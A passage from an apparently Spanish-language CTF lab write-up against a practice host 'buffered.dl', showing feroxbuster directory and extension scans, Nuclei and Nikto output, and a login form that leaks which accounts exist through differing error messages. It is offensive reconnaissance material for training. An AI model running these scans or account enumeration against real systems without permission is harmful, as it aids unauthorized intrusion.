200      GET       12l      557w    35445c http://buffered.dl/assets/vendor/isotope-layout/isotope.pkgd.min.js
200      GET      201l      526w    37370c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-5.jpg
200      GET      411l     2152w   174108c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-7.jpg
200      GET      342l     1607w   148241c http://buffered.dl/assets/img/team/1.jpg
200      GET      379l     2336w   211593c http://buffered.dl/assets/img/about.jpg
200      GET      204l      445w     5979c http://buffered.dl/assets/js/main.js
200      GET      117l      426w    33265c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-3.jpg
200      GET       39l      142w     1250c http://buffered.dl/forms/newsletter.php
200      GET        9l       31w     2057c http://buffered.dl/assets/img/favicon.png
200      GET       14l     1729w   150447c http://buffered.dl/assets/vendor/swiper/swiper-bundle.min.js
200      GET        6l     2222w   232803c http://buffered.dl/assets/vendor/bootstrap/css/bootstrap.min.css
200      GET       48l      249w    20527c http://buffered.dl/assets/img/team/2.jpg
403      GET        7l       10w      162c http://buffered.dl/assets/img/team/
200      GET      101l      496w    39166c http://buffered.dl/assets/img/team/3.jpg
301      GET        7l       12w      178c http://buffered.dl/forms => http://buffered.dl/forms/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/
200      GET      690l     3708w   262900c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-2.jpg
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/bootstrap/
200      GET       63l      248w    13619c http://buffered.dl/assets/img/apple-touch-icon.png
403      GET        7l       10w      162c http://buffered.dl/assets/img/masonry-portfolio/
200      GET      147l      531w    38450c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-6.jpg
200      GET       30l      118w     7817c http://buffered.dl/assets/img/clients/client-4.png
200      GET     1708l     3865w    37583c http://buffered.dl/assets/css/main.css
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/php-email-form/
403      GET        7l       10w      162c http://buffered.dl/assets/img/clients/
403      GET        7l       10w      162c http://buffered.dl/assets/css/
200      GET        1l      637w    56300c http://buffered.dl/assets/vendor/glightbox/js/glightbox.min.js
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/bootstrap-icons/
200      GET     2078l    10308w    98255c http://buffered.dl/assets/vendor/bootstrap-icons/bootstrap-icons.css
200      GET        7l     1207w    80721c http://buffered.dl/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET      852l     6298w   495857c http://buffered.dl/assets/img/hero-bg.jpg
200      GET      815l     2531w    36718c http://buffered.dl/
403      GET        7l       10w      162c http://buffered.dl/assets/img/
301      GET        7l       12w      178c http://buffered.dl/assets/img => http://buffered.dl/assets/img/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/glightbox/
403      GET        7l       10w      162c http://buffered.dl/assets/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/imagesloaded/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/swiper/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/isotope-layout/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/aos/
403      GET        7l       10w      162c http://buffered.dl/assets/js/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap/css => http://buffered.dl/assets/vendor/bootstrap/css/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/glightbox/css => http://buffered.dl/assets/vendor/glightbox/css/
301      GET        7l       12w      178c http://buffered.dl/assets/css => http://buffered.dl/assets/css/
301      GET        7l       12w      178c http://buffered.dl/assets/img/team => http://buffered.dl/assets/img/team/
301      GET        7l       12w      178c http://buffered.dl/assets/img/clients => http://buffered.dl/assets/img/clients/
301      GET        7l       12w      178c http://buffered.dl/assets/img/portfolio => http://buffered.dl/assets/img/portfolio/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap/js => http://buffered.dl/assets/vendor/bootstrap/js/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/glightbox/js => http://buffered.dl/assets/vendor/glightbox/js/
301      GET        7l       12w      178c http://buffered.dl/assets/js => http://buffered.dl/assets/js/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor => http://buffered.dl/assets/vendor/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap-icons/fonts => http://buffered.dl/assets/vendor/bootstrap-icons/fonts/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/aos => http://buffered.dl/assets/vendor/aos/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap => http://buffered.dl/assets/vendor/bootstrap/
[####################] - 4m   4190479/4190479 0s      found:78      errors:3      
[####################] - 4m    220548/220548  858/s   http://buffered.dl/ 
[####################] - 4m    220548/220548  858/s   http://buffered.dl/assets/img/team/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/imagesloaded/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/bootstrap/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/php-email-form/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/forms/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/img/clients/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/css/ 
[####################] - 4m    220548/220548  858/s   http://buffered.dl/assets/img/ 
[####################] - 4m    220548/220548  858/s   http://buffered.dl/assets/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/glightbox/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/img/masonry-portfolio/ 
[####################] - 4m    220548/220548  860/s   http://buffered.dl/assets/vendor/ 
[####################] - 4m    220548/220548  860/s   http://buffered.dl/assets/vendor/bootstrap-icons/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/aos/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/js/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/isotope-layout/ 
[####################] - 4m    220548/220548  860/s   http://buffered.dl/assets/vendor/swiper/ 
[####################] - 4m    220548/220548  867/s   http://buffered.dl/assets/img/portfolio/  
```

Revisamos tanto el resultado en pantalla como el archivo generado. Repetiré el procedimiento sobre el subdominio descubierto; estas tareas también podrían automatizarse mediante un bucle de Bash.

```python
feroxbuster -u http://dashboard.buffered.dl -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --burp-replay -o Ferox_directorios_subd_1.txt
```

**Resultado**

```js
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://dashboard.buffered.dl
 🚀  Threads               │ 100
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🎥  Replay Proxy          │ http://127.0.0.1:8080
 📼  Replay Proxy Codes    │ [100, 101, 102, 200, 201, 202, 203, 204, 205, 206, 207, 208, 226, 300, 301, 302, 303, 304, 305, 307, 308, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 421, 422, 423, 424, 426, 428, 429, 431, 451, 500, 501, 502, 503, 504, 505, 506, 507, 508, 510, 511, 103, 425]
 🔎  Extract Links         │ true
 💾  Output File           │ Ferox_directorios_subd_1.txt
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        4l       48w    17780c http://dashboard.buffered.dl/static/css/font-awesome.min.css
200      GET        8l      342w    27871c http://dashboard.buffered.dl/static/bootstrap/js/bootstrap.min.js
200      GET       43l      293w    16363c http://dashboard.buffered.dl/static/js/jquery.mixitup.min.js
200      GET        4l      155w     9707c http://dashboard.buffered.dl/static/js/modernizr.js
200      GET      219l      574w     8047c http://dashboard.buffered.dl/static/js/jquery.lightbox.js
200      GET      114l      536w    58095c http://dashboard.buffered.dl/static/js/jquery.nicescroll.min.js
200      GET      231l     1359w    12047c http://dashboard.buffered.dl/static/css/templatemo_style.css
200      GET       93l      199w     1940c http://dashboard.buffered.dl/static/css/templatemo_misc.css
200      GET       94l      218w     3941c http://dashboard.buffered.dl/oauth_login
200      GET        6l     1215w    93107c http://dashboard.buffered.dl/static/js/jquery-1.10.2.min.js
200      GET     2809l     5012w    61188c http://dashboard.buffered.dl/static/css/animate.css
200      GET      162l      259w     4113c http://dashboard.buffered.dl/static/js/templatemo_custom.js
200      GET        0l        0w        0c http://dashboard.buffered.dl/static/js/plugins.js
200      GET      111l      225w     4090c http://dashboard.buffered.dl/register
200      GET     7172l    14674w   136399c http://dashboard.buffered.dl/static/bootstrap/css/bootstrap.css
200      GET      128l      414w     5666c http://dashboard.buffered.dl/
302      GET        5l       22w      189c http://dashboard.buffered.dl/logout => http://dashboard.buffered.dl/
302      GET        5l       22w      211c http://dashboard.buffered.dl/auth => http://dashboard.buffered.dl/oauth_login
302      GET        5l       22w      189c http://dashboard.buffered.dl/dashboard => http://dashboard.buffered.dl/
405      GET        5l       20w      153c http://dashboard.buffered.dl/authenticate
[####################] - 4m    220569/220569  0s      found:20      errors:102    
[####################] - 4m    220548/220548  853/s   http://dashboard.buffered.dl/  
```

Después de identificar directorios, continuaré con la enumeración de **extensiones de archivo**. Este tipo de búsqueda puede tardar bastante con Feroxbuster si utilizamos una lista grande y muchas extensiones. Como alternativa, podemos limitar los parámetros o probar una extensión concreta —por ejemplo, `php`— con **ffuf**.

```python
feroxbuster -u http://buffered.dl -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,zip -t 100 --burp-replay  -o Ferox_archivos.txt
```

**Resultado**

```js
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://buffered.dl
 🚀  Threads               │ 100
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🎥  Replay Proxy          │ http://127.0.0.1:8080
 📼  Replay Proxy Codes    │ [100, 101, 102, 200, 201, 202, 203, 204, 205, 206, 207, 208, 226, 300, 301, 302, 303, 304, 305, 307, 308, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 421, 422, 423, 424, 426, 428, 429, 431, 451, 500, 501, 502, 503, 504, 505, 506, 507, 508, 510, 511, 103, 425]
 🔎  Extract Links         │ true
 💾  Output File           │ Ferox_archivos.txt
 💲  Extensions            │ [php, html, txt, zip]
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       48l      249w    20527c http://buffered.dl/assets/img/team/2.jpg
200      GET       27l      117w     8294c http://buffered.dl/assets/img/clients/client-3.png
200      GET       29l      129w     7722c http://buffered.dl/assets/img/clients/client-2.png
200      GET       85l      210w     2734c http://buffered.dl/assets/vendor/php-email-form/validate.js
200      GET      411l     2152w   174108c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-7.jpg
200      GET       21l      128w     8850c http://buffered.dl/assets/img/clients/client-5.png
200      GET       12l      557w    35445c http://buffered.dl/assets/vendor/isotope-layout/isotope.pkgd.min.js
200      GET        1l      273w    28765c http://buffered.dl/assets/vendor/aos/aos.css
200      GET      342l     1607w   148241c http://buffered.dl/assets/img/team/1.jpg
200      GET       12l      119w     5485c http://buffered.dl/assets/vendor/imagesloaded/imagesloaded.pkgd.min.js
200      GET      815l     2531w    36718c http://buffered.dl/index.html
200      GET      852l     6298w   495857c http://buffered.dl/assets/img/hero-bg.jpg
200      GET        1l      637w    56300c http://buffered.dl/assets/vendor/glightbox/js/glightbox.min.js
200      GET      201l      526w    37370c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-5.jpg
200      GET       19l       97w     6012c http://buffered.dl/assets/img/logo.png
200      GET       32l      199w     9277c http://buffered.dl/assets/img/clients/client-1.png
200      GET       20l      118w     5770c http://buffered.dl/assets/img/clients/client-6.png
200      GET       39l      142w     1250c http://buffered.dl/forms/newsletter.php
200      GET      336l      711w    38530c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-9.jpg
200      GET      179l      494w    31077c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-4.jpg
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/glightbox/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/aos/
200      GET      690l     3708w   262900c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-2.jpg
200      GET        1l      233w    13749c http://buffered.dl/assets/vendor/glightbox/css/glightbox.min.css
200      GET      282l      749w    11510c http://buffered.dl/portfolio-details.html
200      GET      117l      426w    33265c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-3.jpg
200      GET        1l      268w    13800c http://buffered.dl/assets/vendor/aos/aos.js
200      GET       41l      146w     1341c http://buffered.dl/forms/contact.php
200      GET      204l      445w     5979c http://buffered.dl/assets/js/main.js
200      GET       20l      126w     9599c http://buffered.dl/assets/img/clients/client-7.png
200      GET       63l      248w    13619c http://buffered.dl/assets/img/apple-touch-icon.png
200      GET        9l       31w     2057c http://buffered.dl/assets/img/favicon.png
200      GET       30l      118w     7817c http://buffered.dl/assets/img/clients/client-4.png
200      GET      101l      496w    39166c http://buffered.dl/assets/img/team/3.jpg
200      GET      120l      618w    52670c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-8.jpg
200      GET       63l      721w    43571c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-1.jpg
200      GET      147l      531w    38450c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-6.jpg
200      GET       41l      215w    16023c http://buffered.dl/assets/img/clients/client-8.png
200      GET       13l      182w    18431c http://buffered.dl/assets/vendor/swiper/swiper-bundle.min.css
200      GET     1708l     3865w    37583c http://buffered.dl/assets/css/main.css
200      GET        6l     2222w   232803c http://buffered.dl/assets/vendor/bootstrap/css/bootstrap.min.css
301      GET        7l       12w      178c http://buffered.dl/assets/img => http://buffered.dl/assets/img/
200      GET        7l     1207w    80721c http://buffered.dl/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/bootstrap/
403      GET        7l       10w      162c http://buffered.dl/assets/img/clients/
200      GET      379l     2336w   211593c http://buffered.dl/assets/img/about.jpg
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/bootstrap-icons/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/imagesloaded/
403      GET        7l       10w      162c http://buffered.dl/assets/
200      GET     2078l    10308w    98255c http://buffered.dl/assets/vendor/bootstrap-icons/bootstrap-icons.css
200      GET     1578l     8338w   640477c http://buffered.dl/assets/img/cta-bg.jpg
200      GET       14l     1729w   150447c http://buffered.dl/assets/vendor/swiper/swiper-bundle.min.js
200      GET      815l     2531w    36718c http://buffered.dl/
403      GET        7l       10w      162c http://buffered.dl/assets/css/
403      GET        7l       10w      162c http://buffered.dl/assets/img/
403      GET        7l       10w      162c http://buffered.dl/assets/js/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/php-email-form/
403      GET        7l       10w      162c http://buffered.dl/assets/img/masonry-portfolio/
403      GET        7l       10w      162c http://buffered.dl/forms/
403      GET        7l       10w      162c http://buffered.dl/assets/img/team/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/swiper/
301      GET        7l       12w      178c http://buffered.dl/assets => http://buffered.dl/assets/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/isotope-layout/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/
301      GET        7l       12w      178c http://buffered.dl/forms => http://buffered.dl/forms/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/glightbox/css => http://buffered.dl/assets/vendor/glightbox/css/
301      GET        7l       12w      178c http://buffered.dl/assets/css => http://buffered.dl/assets/css/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap/css => http://buffered.dl/assets/vendor/bootstrap/css/
301      GET        7l       12w      178c http://buffered.dl/assets/img/team => http://buffered.dl/assets/img/team/
301      GET        7l       12w      178c http://buffered.dl/assets/img/clients => http://buffered.dl/assets/img/clients/
301      GET        7l       12w      178c http://buffered.dl/assets/img/portfolio => http://buffered.dl/assets/img/portfolio/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/glightbox/js => http://buffered.dl/assets/vendor/glightbox/js/
301      GET        7l       12w      178c http://buffered.dl/assets/js => http://buffered.dl/assets/js/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap/js => http://buffered.dl/assets/vendor/bootstrap/js/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor => http://buffered.dl/assets/vendor/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap-icons/fonts => http://buffered.dl/assets/vendor/bootstrap-icons/fonts/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/aos => http://buffered.dl/assets/vendor/aos/
200      GET        6l       15w      215c http://buffered.dl/Readme.txt
200      GET        2l       21w      179c http://buffered.dl/forms/Readme.txt
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap => http://buffered.dl/assets/vendor/bootstrap/
[###>----------------] - 4m   4081304/20952420 17m     found:80      errors:3      
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_buffered_dl-1729886314.state ...
```

En el subdominio podemos aplicar el mismo método, añadiendo las extensiones que queremos probar mediante `-x php,html,txt,zip`.

```python
feroxbuster -u http://dashboard.buffered.dl -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,zip -t 100 --burp-replay  -o Ferox_archivos_subd_1.txt
```

**Resultado**

```js
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://dashboard.buffered.dl
 🚀  Threads               │ 100
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🎥  Replay Proxy          │ http://127.0.0.1:8080
 📼  Replay Proxy Codes    │ [100, 101, 102, 200, 201, 202, 203, 204, 205, 206, 207, 208, 226, 300, 301, 302, 303, 304, 305, 307, 308, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 421, 422, 423, 424, 426, 428, 429, 431, 451, 500, 501, 502, 503, 504, 505, 506, 507, 508, 510, 511, 103, 425]
 🔎  Extract Links         │ true
 💾  Output File           │ Ferox_archivos_subd_1.txt
 💲  Extensions            │ [php, html, txt, zip]
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      111l      225w     4090c http://dashboard.buffered.dl/register
200      GET       94l      218w     3941c http://dashboard.buffered.dl/oauth_login
200      GET        0l        0w        0c http://dashboard.buffered.dl/static/js/plugins.js
200      GET        4l      155w     9707c http://dashboard.buffered.dl/static/js/modernizr.js
200      GET       93l      199w     1940c http://dashboard.buffered.dl/static/css/templatemo_misc.css
200      GET      231l     1359w    12047c http://dashboard.buffered.dl/static/css/templatemo_style.css
200      GET      219l      574w     8047c http://dashboard.buffered.dl/static/js/jquery.lightbox.js
200      GET        4l       48w    17780c http://dashboard.buffered.dl/static/css/font-awesome.min.css
200      GET        8l      342w    27871c http://dashboard.buffered.dl/static/bootstrap/js/bootstrap.min.js
200      GET     2809l     5012w    61188c http://dashboard.buffered.dl/static/css/animate.css
200      GET     7172l    14674w   136399c http://dashboard.buffered.dl/static/bootstrap/css/bootstrap.css
200      GET      162l      259w     4113c http://dashboard.buffered.dl/static/js/templatemo_custom.js
200      GET       43l      293w    16363c http://dashboard.buffered.dl/static/js/jquery.mixitup.min.js
200      GET        6l     1215w    93107c http://dashboard.buffered.dl/static/js/jquery-1.10.2.min.js
200      GET      114l      536w    58095c http://dashboard.buffered.dl/static/js/jquery.nicescroll.min.js
200      GET      128l      414w     5666c http://dashboard.buffered.dl/
302      GET        5l       22w      189c http://dashboard.buffered.dl/logout => http://dashboard.buffered.dl/
302      GET        5l       22w      211c http://dashboard.buffered.dl/auth => http://dashboard.buffered.dl/oauth_login
302      GET        5l       22w      189c http://dashboard.buffered.dl/dashboard => http://dashboard.buffered.dl/
405      GET        5l       20w      153c http://dashboard.buffered.dl/authenticate
[#####>--------------] - 5m    295262/1102845 15m     found:20      errors:1      
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_dashboard_buffered_dl-1729886769.state ...
```

Para complementar la enumeración utilizaré dos herramientas de análisis de vulnerabilidades: **Nuclei** y **Nikto**. Sus alertas requieren interpretación y validación; no son pruebas definitivas de explotación.

**Nuclei**

**Nuclei** es un escáner basado en **plantillas YAML** de la comunidad y de ProjectDiscovery. Permite automatizar comprobaciones sobre servicios y aplicaciones web, entre otros objetivos, y facilita identificar configuraciones o patrones que requieren una revisión posterior.

Nuclei está escrito en **Go**. Si necesitamos incluir una cabecera HTTP, como una cookie de sesión autorizada, podemos utilizar la opción `-H`. Debemos proteger las credenciales y evitar guardarlas accidentalmente en registros compartidos.

```python
nuclei -l subdominios.txt -o Nuclei.txt
```

**Resultado**

```js
                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.5

		projectdiscovery.io

[WRN] Found 3 templates with runtime error (use -validate flag for further examination)
[INF] Current nuclei version: v3.3.5 (latest)
[INF] Current nuclei-templates version: v10.0.2 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 68
[INF] Templates loaded for current scan: 8696
[INF] Executing 8497 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 199 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 2
[INF] Running httpx on input host
[INF] Found 2 URL from httpx
[INF] Templates clustered: 1629 (Reduced 3078 Requests)
[waf-detect:nginxgeneric] [http] [info] http://buffered.dl
[waf-detect:nginxgeneric] [http] [info] http://dashboard.buffered.dl
[form-detection] [http] [info] http://dashboard.buffered.dl
[form-detection] [http] [info] http://buffered.dl
[options-method] [http] [info] http://dashboard.buffered.dl ["HEAD, GET, OPTIONS, POST"]
[tech-detect:font-awesome] [http] [info] http://dashboard.buffered.dl
[tech-detect:animate.css] [http] [info] http://dashboard.buffered.dl
[tech-detect:bootstrap] [http] [info] http://dashboard.buffered.dl
[tech-detect:nginx] [http] [info] http://dashboard.buffered.dl
[fingerprinthub-web-fingerprints:openfire] [http] [info] http://buffered.dl
[tech-detect:lightbox] [http] [info] http://buffered.dl
[tech-detect:bootstrap] [http] [info] http://buffered.dl
[tech-detect:google-font-api] [http] [info] http://buffered.dl
[tech-detect:nginx] [http] [info] http://buffered.dl
[nginx-version] [http] [info] http://dashboard.buffered.dl ["nginx/1.24.0"]
[nginx-version] [http] [info] http://buffered.dl ["nginx/1.24.0"]
[old-copyright] [http] [info] http://dashboard.buffered.dl ["&copy; 2016"]
[http-missing-security-headers:permissions-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:x-frame-options] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:clear-site-data] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:strict-transport-security] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:content-security-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:x-content-type-options] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:referrer-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:content-security-policy] [http] [info] http://buffered.dl
[http-missing-security-headers:permissions-policy] [http] [info] http://buffered.dl
[http-missing-security-headers:x-content-type-options] [http] [info] http://buffered.dl
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://buffered.dl
[http-missing-security-headers:strict-transport-security] [http] [info] http://buffered.dl
[http-missing-security-headers:x-frame-options] [http] [info] http://buffered.dl
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://buffered.dl
[http-missing-security-headers:referrer-policy] [http] [info] http://buffered.dl
[http-missing-security-headers:clear-site-data] [http] [info] http://buffered.dl
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://buffered.dl
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://buffered.dl
[caa-fingerprint] [dns] [info] dashboard.buffered.dl
[caa-fingerprint] [dns] [info] buffered.dl
```

**Nikto**

**Nikto** es un escáner de servidores web de código abierto que identifica indicios de software desactualizado, archivos potencialmente peligrosos y configuraciones inseguras. Como ocurre con Nuclei, sus resultados deben comprobarse antes de incluirlos como hallazgos confirmados.

```python
nikto -h http://buffered.dl/ -o resultado_dominio_nikto.txt -ask no
```

**Resultado**

```js
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          172.17.0.2
+ Target Hostname:    buffered.dl
+ Target Port:        80
+ Start Time:         2024-10-25 18:42:27 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.24.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 7962 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2024-10-25 18:42:36 (GMT-5) (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
❯ nikto -h http://dashboard.buffered.dl/ -o resultado_subdominio_nikto.txt -ask no
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          172.17.0.2
+ Target Hostname:    dashboard.buffered.dl
+ Target Port:        80
+ Start Time:         2024-10-25 18:42:56 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.24.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, OPTIONS, POST .
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8046 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-10-25 18:43:26 (GMT-5) (30 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

Con estas pruebas disponemos de una base de información para identificar posibles vectores de entrada en la aplicación web. El siguiente paso será validar de forma controlada los comportamientos que nos parezcan relevantes.

## <mark style="color:green;">Explotación de vulnerabilidades</mark>

Comenzaré registrando una cuenta para comprobar qué funciones están disponibles para un usuario normal. El acceso se encuentra en el subdominio descubierto; como las direcciones recopiladas utilizan `@buffered.dl`, registraré la cuenta de prueba **`victor@buffered.dl`**.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F7wUoFDIkANo45u6s3rif%2Fimg_9_buffered.png?alt=media&amp;token=85a5b4bc-95ca-4705-8ca0-12e910fa5b1a" alt=""><figcaption></figcaption></figure>

Tras iniciar sesión accedo a un **dashboard** de usuario. En esta vista no encuentro inmediatamente un campo que ofrezca una vía evidente de explotación.

Probaré si el formulario distingue cuentas existentes de inexistentes, utilizando uno de los correos que recopilé, `christine@buffered.dl`, y una contraseña de prueba. La aplicación devuelve el siguiente mensaje:

{% hint style="info" %}
Email is not registered
{% endhint %}

La aplicación muestra una respuesta parecida para otras cuentas, pero al introducir **`wilson@buffered.dl`** o **`admin@buffered.dl`** devuelve un mensaje diferente:

{% hint style="info" %}
Invalid login
{% endhint %}

